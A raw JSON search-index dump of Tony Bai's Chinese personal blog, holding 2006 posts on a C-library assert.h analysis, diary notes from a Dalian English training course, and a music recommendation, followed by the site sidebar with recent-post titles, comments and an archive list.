_STR(__LINE__) \u0026quot; \u0026quot; #test)这一句，其实这个也很好理解。看看下面语句的执行结果：\nprintf(\u0026quot;%s\\n\u0026quot;, \u0026ldquo;Hello\u0026rdquo; \u0026quot; \u0026quot; \u0026ldquo;Tony!\u0026rdquo;);\n执行上面语句你会看到Hello Tony!，这样一来实际上_Assert(__FILE__ \u0026ldquo;:\u0026rdquo; _STR(__LINE__) \u0026quot; \u0026quot; #test)就可以被理解为：\n_Assert(\u0026ldquo;THE_FILENAME_STRING\u0026rdquo; \u0026ldquo;:\u0026rdquo; \u0026ldquo;THE_LINE_STRING\u0026rdquo; \u0026quot; \u0026quot; \u0026ldquo;THE_TEST_STRING\u0026rdquo;)\n","permalink":"https://tonybai.com/2006/07/08/plauger-c-standard-lib-assert-header/","summary":"\u003cp\u003eI believe that seeing a realistic implementation of the Standard C library can help you better understand how to use it.\u003cbr\u003e\n                                                                                  — P.J.Plauger\u003c/p\u003e\n\u003cp\u003e按照字母序首先我们来看看\u0026lt;assert.h\u0026gt;，这个文件提供的接口功能很简单，但却是我们极其常用的功能-断言机制(如果条件为False，则输出Diagnostics信息，然后Abort)。当然在最终产品中使用断言并不是一种好的方法，不过断言是一种很有用的帮助我们调试程序的好工具。\u003c/p\u003e","title":"P.J.Plauger版本C标准库实现分析之'assert.h'"},{"content":"这是自从大学毕业以来第一次连续上五天课，第一感觉就是疲倦，甚至比上班还要累。也许会有人说我\u0026quot;身在福中不知福\u0026quot;，也许吧。看着大连软件园周围那些匆匆忙忙的年轻人的身影，也许我的确该感到\u0026rsquo;幸福\u0026rsquo;。\n今天是商务英语写作课的第一节，老师也安排从最基础的Business Letter开始。其实说到英语信函，很多人会记得在初中英语教材中就有涉及，只是当时老师不会讲的如此之细，侧重点也不同罢了。如何能写出\u0026rsquo;good business letter\u0026rsquo;呢？这里老师介绍了七个关键点，也叫'7C\u0026rsquo;原则。哪'7C\u0026rsquo;呢？\n. Clearness\n. Conciseness\n. Courtesy\n. Consideration\n. Concreteness\n. Correctness\n. Completence\n记得在以前的一次商务英语写作中也谈到过这'7C\u0026rsquo;原则了。至于这'7C\u0026rsquo;原则的具体细节，有些烦琐，不说也罢，总而言之，言而总之，在写Business Letter的时候，尽量用短句清晰的表达你的想法，注意谦恭礼貌，尽量从对方的角度考虑问题，多用\u0026rsquo;You\u0026rsquo; Attitude，少用\u0026rsquo;I/We\u0026rsquo; Attitude。\n现在使用的商业信函的style有两种，一种叫\u0026rsquo;Semi-Indented Style\u0026rsquo;，一种叫\u0026rsquo;Blocked Letter Style\u0026rsquo;；前一种的格式如下：\nDear xxx,\nxxxxxxxxxxxxxxxxxxxxxxxxxx\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.\nxxxxxxxxxxxxxxxxxxxxxxxxxx\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.\nYours sincerely\nyour_name\nyour_position\nyour_company\n后一种Blocked Style的格式更为被现代人接受，其样式如下：\nDear xxx,\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nxxxxxxxxxxxxxxxxxxxxxxxxxxxx.\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nxxxxxxxxxxxxxxxxxxxxxxxxx.\nYours sincerely\nyour_name\nyour_position\nyour company\n同样商业Email的书写与此相同。当然传统信函的书写原不止这么简单，我们还要考虑到letter-head, Date等等在称呼前面的内容，因为平时基本不会用到这种信函(大多数都用Email)，所以这里不再介绍了。学习商务信函写作的一个很好的办法就是学习你的外国客户写给你的信函，模仿它们，准保没错。\n三四节的口语，Alex给我们带来了Salvador Dali的一些surealism的名画，让我们其中一个人描述画中的事物，其他两个人在黑板上根据听到的内容Draw the picture. 我们玩的不亦乐乎！当然再这个活动结束后，Alex给我们解释了要这么做的原因：当你和客户沟通的时候，你怎样来有效的describe一种事物才能让你的客户理解的和你描述的吻合得更好而不是\u0026rsquo;张冠李戴\u0026rsquo;呢，从你describe一幅画给别人的过程中，你就可以总结出来。Take a shot!\n","permalink":"https://tonybai.com/2006/07/07/english-train-notes-20060707/","summary":"\u003cp\u003e这是自从\u003ca href=\"http://tonybai.com/2006/06/21/two-years-since-graduate-from-university/\"\u003e大学毕业\u003c/a\u003e以来第一次连续上五天课，第一感觉就是疲倦，甚至比上班还要累。也许会有人说我\u0026quot;身在福中不知福\u0026quot;，也许吧。看着大连软件园周围那些匆匆忙忙的年轻人的身影，也许我的确该感到\u0026rsquo;幸福\u0026rsquo;。\u003c/p\u003e\n\u003cp\u003e今天是商务英语写作课的第一节，老师也安排从最基础的Business Letter开始。其实说到英语信函，很多人会记得在初中英语教材中就有涉及，只是当时老师不会讲的如此之细，侧重点也不同罢了。如何能写出\u0026rsquo;good business letter\u0026rsquo;呢？这里老师介绍了七个关键点，也叫'7C\u0026rsquo;原则。哪'7C\u0026rsquo;呢？\u003cbr\u003e\n. Clearness\u003cbr\u003e\n. Conciseness\u003cbr\u003e\n. Courtesy\u003cbr\u003e\n. Consideration\u003cbr\u003e\n. Concreteness\u003cbr\u003e\n. Correctness\u003cbr\u003e\n. Completence\u003c/p\u003e","title":"英语培训日记20060707"},{"content":"这个月可以说是世界杯月了，大家都忙着收看世界杯转播呢，还哪有时间听歌呀，我也不例外亚。今天才想起来好像好久都没有新歌听了。\n如果真的没有新的好听的歌，那么这个月的靓乐可是要空缺的了，不过还好王力宏给我带来了一首\u0026rsquo;大城小爱\u0026rsquo;让我们欣赏。最初以为王力宏靠的是帅气的外表，在听了多首他的歌后，越来越觉得王力宏应该归到实力派的歌手当中，其嗓音很是独特，每张专辑的制作也是上乘的。就拿这首\u0026rsquo;大城小爱\u0026rsquo;来说，很喜欢这首歌的节奏，好似一种说唱但又有回归之感、平淡之感，很自然。其歌词我认为也不错，很喜欢其中的这几句：\n\u0026ldquo;千万不要说天长地久\n免的你觉的我不切实际\n想多么简单就多么简单\n是妈妈告诉我的哲理\u0026rdquo;\n\u0026ldquo;千万不要说天长地久\n免的你觉的我不切实际\n想多么简单就多么简单\n让我大声的对你说\nI\u0026rsquo;m thinking of you\u0026rdquo;\n简单的确是一种美，简单意味着纯洁！\n世界杯月，世界杯歌曲必不可少，在Baidu世界杯歌曲排行上前三名分别是\u0026rsquo;意大利之夏\u0026rsquo;、\u0026lsquo;生命之杯\u0026rsquo;和今年世界杯的主题曲\u0026rsquo;The Time Of Our Lives\u0026rsquo;，我自己感觉这三首歌都很好听，当然\u0026rsquo;生命之杯\u0026rsquo;在98年着实火了一把，因为其节奏风格与足球太相似了，充满激情，它也是我最爱听的世界杯主题曲。\n","permalink":"https://tonybai.com/2006/07/06/recommend-music-of-2006-06/","summary":"\u003cp\u003e这个月可以说是世界杯月了，大家都忙着收看世界杯转播呢，还哪有时间听歌呀，我也不例外亚。今天才想起来好像好久都没有新歌听了。\u003c/p\u003e\n\u003cp\u003e如果真的没有新的好听的歌，那么这个月的靓乐可是要空缺的了，不过还好王力宏给我带来了一首\u0026rsquo;大城小爱\u0026rsquo;让我们欣赏。最初以为王力宏靠的是帅气的外表，在听了多首他的歌后，越来越觉得王力宏应该归到实力派的歌手当中，其嗓音很是独特，每张专辑的制作也是上乘的。就拿这首\u0026rsquo;大城小爱\u0026rsquo;来说，很喜欢这首歌的节奏，好似一种说唱但又有回归之感、平淡之感，很自然。其歌词我认为也不错，很喜欢其中的这几句：\u003cbr\u003e\n\u0026ldquo;千万不要说天长地久\u003cbr\u003e\n免的你觉的我不切实际\u003cbr\u003e\n想多么简单就多么简单\u003cbr\u003e\n是妈妈告诉我的哲理\u0026rdquo;\u003c/p\u003e","title":"2006荷月靓乐"},{"content":"今天是中教口语课的第一天，给我们上课的是一位女士，看起来很是和蔼可亲的。今天大连的天气有些糟糕，一直在淅淅沥沥的下着小雨，早上起来的时候嗓子有些肿痛，吃了点药，好些了。\n中教口语老师根据她的课程安排首先给我们上了一节简单的’Read-Retell’课程，课程内容很简单，老师准备了四篇类似笑话的短文，让我们其中之一A先看上3分钟，然后像我们其中的一个B复述短文的大意，B在听完A的复述后，再向C复述，就这样One by One。开始的时候，我们有些不适应，复述的磕磕绊绊而且用词遣句都不得当，到了最后一个的时候我们已经进入状态了，最重要的是我们已经认可和喜欢上了这种方式了。按照老师的安排，这次Retell只是相当于初级口语水平，下次课还要安排相当于中级口语水平的Retell，之后是商务英语级别。期待中，老师建议我们回去后可以自己选一些短文试着复述，一段时间练习后，会有不小的进步。\n今天外教Alex开始按照Text Book讲，Alex好像对这种方式准备不足，导致课程有些沉闷，我们也兴趣不足。今天讨论的TOPIC是’Memory’，下面有些关于memory的Words \u0026amp; Phrase \u0026amp; Idioms：\nAlzheimer’s disease\nlong term memory\nshort term memory\nphotographic memory\nselective memory\ngood/bad/unfailing memory\none’s mind is/went/is going blank = forget\nA [adj] memory for faces/number/names\n[Ex.] I had a bad memory for faces of western people.\nsomething slipped from memory = forget temporarily\n[Ex.] I watched the football match last night, but the name of the player who kicked a penalty goal slipped from my memory.\nOn the tip of one’s tongue.\n[Ex.] The name of the player who kicked a penalty goal in the football match last night is on the tip of my tongue.\n在谈论完’Memory’之后，Alex专门拿出一定时间来纠正我们的pronunciation。他告诉我们在读英语时，碰到’,\u0026lsquo;要短暂停顿，碰到’.\u0026rsquo;，停顿时间要稍长些，碰到段间，就要更长些了。对于语句中的noun、verb、adj和adv要speak lower and louder，当然这些需要more practice。\n","permalink":"https://tonybai.com/2006/07/06/english-train-notes-20060706/","summary":"\u003cp\u003e今天是中教口语课的第一天，给我们上课的是一位女士，看起来很是和蔼可亲的。今天大连的天气有些糟糕，一直在淅淅沥沥的下着小雨，早上起来的时候嗓子有些肿痛，吃了点药，好些了。\u003c/p\u003e","title":"英语培训日记20060706"},{"content":"今天是英语培训课程的第二天，前两节是中教听力，后两节则是外教口语，外教口语课每天都有两个学时，以保证我们有足够的时间和外教交流。\n在正式开始听音之前，老师还是把前天测试写作时出现的问题给我们讲解了一番，那是一道商业信函写作，老师给我们指出了我们共同犯的几个错误。首当其冲的就是信函的格式问题，首先是称呼。我们四个人居然写出了四种方法，很是搞笑，分别为：\nDear Mr. Middleman\nDear Jim\nDear Mr. Jim Middleman\nDear Mr. Jim\n由于信函原文中发信人和收信并不是很熟悉的朋友，所以应该选择第一个，即\u0026rsquo;Mr. + 姓\u0026rsquo;的形式。接着这个话题，老师又给我们深入了讲解了一些称呼上的知识。如：\nDear Sir, 在知道对方性别，但是不知道名字的前提下\nDear Madam, 在知道对方性别，但是不知道名字的前提下\nDear Sir/Madam, 在即不知道对方性别，又不知道名字的前提下\n老师还谈了由于女权运动导致的一些用词方面的变化，如Chairman -\u0026gt; Chairwoman -\u0026gt; Chairperson -\u0026gt; Chair，同样情况的还有businessman这个单词，现在一般都说businessperson了。\n对于感谢信，我们在正文的开头和结尾处都要加上感谢的语句，这里注意的是在正式的信函中要使用Thank you，而避免使用并不是应用于正式场合下的Thanks。而且在正式信函或者论文中不要使用缩略语，如不要用I\u0026rsquo;m/You\u0026rsquo;re/It\u0026rsquo;s/I don\u0026rsquo;t，要用I am/You are/It is/I do not等。\n总结完上次的写作内容后，我们正式进入听力环节，今天要完成的是\u0026rsquo;新视野大学英语视听说教程第三册\u0026rsquo;的第一个单元，按照上节课老师的\u0026rsquo;听懂每个单词\u0026rsquo;原则，我这里听写出听力全文，并按照老师的讲解做了些分析笔记：\nUnit 1\nBasic Listening Practice\n1、\nA: Ok. It\u0026rsquo;s your turn to pay the bill. I paid last time.\nB: What? You have a selective memory. You tried to pay last time, but your credit card failed. So I ended up with paying. It\u0026rsquo;s definitely your turn.\nQ: What is true according to the conversation?\n这里\u0026rsquo;selective memory\u0026rsquo;是选择性的记忆的意思，意为\u0026rsquo;选择对自己有好处的记忆\u0026rsquo;；\u0026rsquo;end up with doing\u0026rsquo;最终做了某事。\n2、\nA: I\u0026rsquo;m having real trouble reviewing for the french exam. I just can\u0026rsquo;t memorize all the vocabulary.\nB: Me, too. I hate having to learn things by heart. I guess we just have to keep the text reading over and over.\nQ : What does the woman prefer?\n3、\nA: Oh, look. There is that guy we saw last week playing football in the park. He looks great in his kit. remember?\nB: Him? I don\u0026rsquo;t remember him. I\u0026rsquo;ve got a terrible memory for faces. I have a hard time even recognizing people as being introduced to.\nQ: According to the conversation, what is the man\u0026rsquo;s problem?\n这里kit指的是(橄榄球)服装、装备。\n4、\nA: Why is there a big sign on the back of your door that says keys?\nB: It is to remind me to take my keys when I go out. Because I am always locking myself out by accident. It doesn\u0026rsquo;t help though. Now I just forget to read the sign.\nQ: Why is there a sign on the back of the door?\n5、\nA: That exam of history is really hard. The essay question is terrible.\nB: I know. I wish I were like David. He has a photographic memory, you know. How useful that will be.\nQ: What is true of David?\nListening In\nA: Tell me your secret. You\u0026rsquo;re suddenly getting excellent marks in every subject and you used to be a bottom of the class students just like me.\nB: Simple enough. I\u0026rsquo;ve read an article in a scientific journal that links studying with remembering based on recent research into the brain.\nA: Oh, That stuff is old hat. Studying at the same time everyday, Be sure your clothes are comfortable, make sure you have enough light…\nB: Not so fast wise guy. I\u0026rsquo;m talking principles like mental visualization, creating a picture in your mind of what to be remembered.\nA: Ok. That does sound different. Is a association principle? you know you connect what you want to remember with something you familiar with.\nB: Right on! Consolidation is another. I review my notes right after the class and consolidate all, absorb the materials into what I\u0026rsquo;ve already learned.\nA: You\u0026rsquo;re moving ahead fast with that principles. I swear this weekend I\u0026rsquo;m going to study 16 hours a day both Saturday and Sunday.\nB: Wow, big guy! That\u0026rsquo;s not the way. Follow the principle of distributed practice, shorter study sessions distributed over several days are better.\nA: That does made all very well for you. You\u0026rsquo;ve got a good memory. But what about me? I got a memory like a sieve.\nB: You are too modest. There is nothing wrong with your memory, but memory is like a muscle. It needs exercise and don\u0026rsquo;t forget it.\n在听这段对话时，在\u0026rsquo;That stuff is old hat\u0026rsquo;处有很严重的连读现象。\u0026lsquo;old hat\u0026rsquo;是一个俚语，意为\u0026rsquo;陈旧的、不流行的\u0026rsquo;；\u0026lsquo;Not so fast\u0026rsquo;有\u0026quot;不要这么快下结论\u0026quot;的意思；\u0026lsquo;Right on\u0026rsquo;则是\u0026rsquo;正确，太对了\u0026rsquo;的意思。\u0026lsquo;That does sound different\u0026rsquo;这句听起来也不是很容易，这里是一个带有强调语气的句型。\u0026lsquo;That does made all very well for you\u0026rsquo;这句至今我也不敢肯定到底是不是这样的，因为没有原文。\n今天三四节的外教口语主要以我们学生的说为主，Alex首先告诉我们用英语沟通的三个层次：\n. Core Ideas\n. Effective Communication\n. Mastery\n然后他针对Expression时的各种情况，和我一起做了些Practice：\n. Facts\n. Facts based uncertainty\n. Thinking quickly\n. Styles (Professional way \u0026amp; informal way)\n. Unfamiliar topics\n. Talking around\n. Biased \u0026amp; Unbiased\n其中在\u0026rsquo;Thinking quickly\u0026rsquo;环节，我们做了一个游戏，比如有A、B、C三个人，从A开始说：\nA : I\nB : I can\nC : I can speak\nA : I can speak fluent\nB : I can speak fluent English.\n就像这样，锻炼你的\u0026rsquo;Thinking quickly\u0026rsquo;能力，挺好玩的。你可以每次add a single word or a phrase or a entire sentence。\n最后一个关于Biased \u0026amp; Unbiased的Practice不是很理解，当时他让我们其中两个人扮演寻找hotel的商人，另外两个扮演两个hotel的sales，两个sales推销他们的hotel，我们呢就问问题以决定住在哪个hotel。按照Alex的说法，两个sales属于\u0026rsquo;Biased\u0026rsquo;，其他两个属于\u0026rsquo;Unbiased\u0026rsquo;，至今仍不是很理解。\n","permalink":"https://tonybai.com/2006/07/05/english-train-notes-20060705/","summary":"\u003cp\u003e今天是英语培训课程的第二天，前两节是中教听力，后两节则是外教口语，外教口语课每天都有两个学时，以保证我们有足够的时间和外教交流。\u003c/p\u003e\n\u003cp\u003e在正式开始听音之前，老师还是把前天测试写作时出现的问题给我们讲解了一番，那是一道商业信函写作，老师给我们指出了我们共同犯的几个错误。首当其冲的就是信函的格式问题，首先是称呼。我们四个人居然写出了四种方法，很是搞笑，分别为：\u003cbr\u003e\nDear Mr. Middleman\u003cbr\u003e\nDear Jim\u003cbr\u003e\nDear Mr. Jim Middleman\u003cbr\u003e\nDear Mr. Jim\u003cbr\u003e\n由于信函原文中发信人和收信并不是很熟悉的朋友，所以应该选择第一个，即\u0026rsquo;Mr. + 姓\u0026rsquo;的形式。接着这个话题，老师又给我们深入了讲解了一些称呼上的知识。如：\u003cbr\u003e\nDear Sir, 在知道对方性别，但是不知道名字的前提下\u003cbr\u003e\nDear Madam, 在知道对方性别，但是不知道名字的前提下\u003cbr\u003e\nDear Sir/Madam, 在即不知道对方性别，又不知道名字的前提下\u003cbr\u003e\n老师还谈了由于女权运动导致的一些用词方面的变化，如Chairman -\u0026gt; Chairwoman -\u0026gt; Chairperson -\u0026gt; Chair，同样情况的还有businessman这个单词，现在一般都说businessperson了。\u003c/p\u003e","title":"英语培训日记20060705"},{"content":"昨天其实是培训的第一天，只不过没有上课罢了，昨天进行了一系列(A Series Of)的英语测试，包括凯思英语测试、听力和写作、口语摸底测试，其中只有凯思测试当场能看到成绩，估计我的成绩不咋的，毕竟好久没有进行过这方面训练了，成绩单如下：\n词汇能力：166\n综合表达：198\n听力理解：206\n综合填空：155\n总分：725\n但正如一位同事所说，如果现在考得好，那么结业测试不就显不出来你有所进步了么，心想也对^_^。\n今天是正是上课的第一天，大连的海风可真是凉，我们住的地方和大海就搁着一座山(听他们说的，我没去过^_^)，每天早晚都能感受到有些潮湿的海风从大海的那个方向吹来，吹在身上凉飕飕的，直起鸡皮疙瘩。\n按照课程安排，今天第一节课是中教听力/写作课，老师是一位年轻的小伙，通过其自我介绍得知，他是大连海事大学的英语系研究生，曾经做过某大连媒体的英文频道记者，还给很多会议作过笔/口译。今天课上的主要内容是分析昨天我们的听力试题，通过分析找出我们目前的一些在听力方面的不足之处。有以下几点建议：\n(1) 一定要把每个词都听出来，这是你训练的目标；\n(2) 自己练习听力时要学会自问自答，当听完一段短文或者对话，要问自己几个问题，看自己是否听明白了；\n(3) 注意收集各种语音现象，如美音中常见的连读。\n下面是一些课上的细节：\n如何听英文中的数字和年月日？\n老师建议在最初训练听英文数字时要学会做’笔记’，比如听到一个数字是1, 234, 567, 890，我们知道英文中的一些单位包括billion、million、thousand等都是3位一升级的，我们听的时候很是不适应。所以当我们听到上面的数字时，我们可以做如下笔记：1B 234M 567T 890，这样我们可以顺利的将这个笔记理解为：one billion, two hundred and thirty-four million, five hundred and sixty-seven thousand , eight hundred and ninty。关于英语年月日的记法则更是多种多样：举几个有代表性的年份吧：\n1900 — nineteen hundred\n1905 — nineteen o five\n1940 — nineteen forty\n2000 — two thousand\n2006 — two thousand and six\n2056 — two thousand and fifty-six or twenty fifty-six\n还有一种语音现象值得我们注意，如thirty, starting等，以startling为例，其音标为/sta:tig/，这里辅音/t/夹在元音/a:/和元音/i/之间，而且后面的元音为非重读音节，这样在读这个单词时，你会听到发类似/sta:lig/的发音，而不是/sta:tig/，同理thirty也是如此，其最后的t发类似/l/的音。\n我们的外教是一位光头的伦敦小伙子Alex，他自报家门出身于London University之Royal Holloway College，今年年方27，曾经供职于Bank Of England，一个相当于China Central Bank的英国银行，他所学专业为Electronic And Finance。之所以来中国是因为他自己觉得在年轻的时候应该多做些more risk的事情，在朋友的劝说下来到了中国。他说他喜欢大连，因为大连干净、环境优美，另外一点就是大连比较新，白领人士多，文化层次高。\n他首先讲了我们这120学时课程的大致内容包括：\n.Speech(Presetation)\n.Group Discussion\n.Responding to unexpected question\n.Knowledge \u0026amp; Skill\n之后告诉我们说英语的一些注意事项：\n.Tone\n.Body language\n.Justifying opinion\n.Empathy / audience\nAfter that，Alex突然问了我一个问题：Which color do you like? 我慌忙回答：Both white and blue are my favorite. Alex马上继续问Why? Why do you like these two colors? 我回答：They are simple and make me feel comfortable, I think. Alex问这个问题的目的就是想告诉我们当一个西方人问你问题时，你在给出你的答案的同时，你也最好Justify Your Opinion，给出这么回答的原因，否则西方人会继续追问你原因的。\n接下来Alex给了我们几个Topic，让我们发表看法，Such as the following issues:\n. Introduce your partners.\n. Tell us the biggest mistake or regret you have done before.\n. Tell us something about your company or your job.\n话题结束后，Alex根据他在中国的一些教学经验，给我们纠正了/s/和/θ/的发音，如果你能读出下面这些单词，如these，sees，sings，things，并且让你的同伴正确判断出你在读哪个单词，那你的发音就该没问题了。\nIdioms在口语中也是很重要的，按Alex的计划在整个培训过程中，将会介绍60个左右最常用的Idioms，Idioms不同于Slang，Idioms是整个英语语言国家通用的一些表达方式，而Slang则是各个英语国家特有的，其他国家的人听不懂的表达法。\n.Take A Shot = take a try. [Ex.] Don’t worry. Take a shot.\n.Piece of cake = Easy [Ex.] English is a piece of cake (for me).\n我们的教材是’新视野大学视听说’教程，对这本教材的第一印象还是不错的。下节课开始学习这本教材。\n","permalink":"https://tonybai.com/2006/07/04/english-train-notes-20060704/","summary":"\u003cp\u003e昨天其实是培训的第一天，只不过没有上课罢了，昨天进行了一系列(A Series Of)的英语测试，包括\u003ca href=\"http://www.nou.com.cn/casec/casec.jsp\"\u003e凯思英语测试\u003c/a\u003e、听力和写作、口语摸底测试，其中只有凯思测试当场能看到成绩，估计我的成绩不咋的，毕竟好久没有进行过这方面训练了，成绩单如下：\u003cbr\u003e\n词汇能力：166\u003cbr\u003e\n综合表达：198\u003cbr\u003e\n听力理解：206\u003cbr\u003e\n综合填空：155\u003cbr\u003e\n总分：725\u003cbr\u003e\n但正如一位同事所说，如果现在考得好，那么结业测试不就显不出来你有所进步了么，心想也对^_^。\u003c/p\u003e","title":"英语培训日记20060704"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 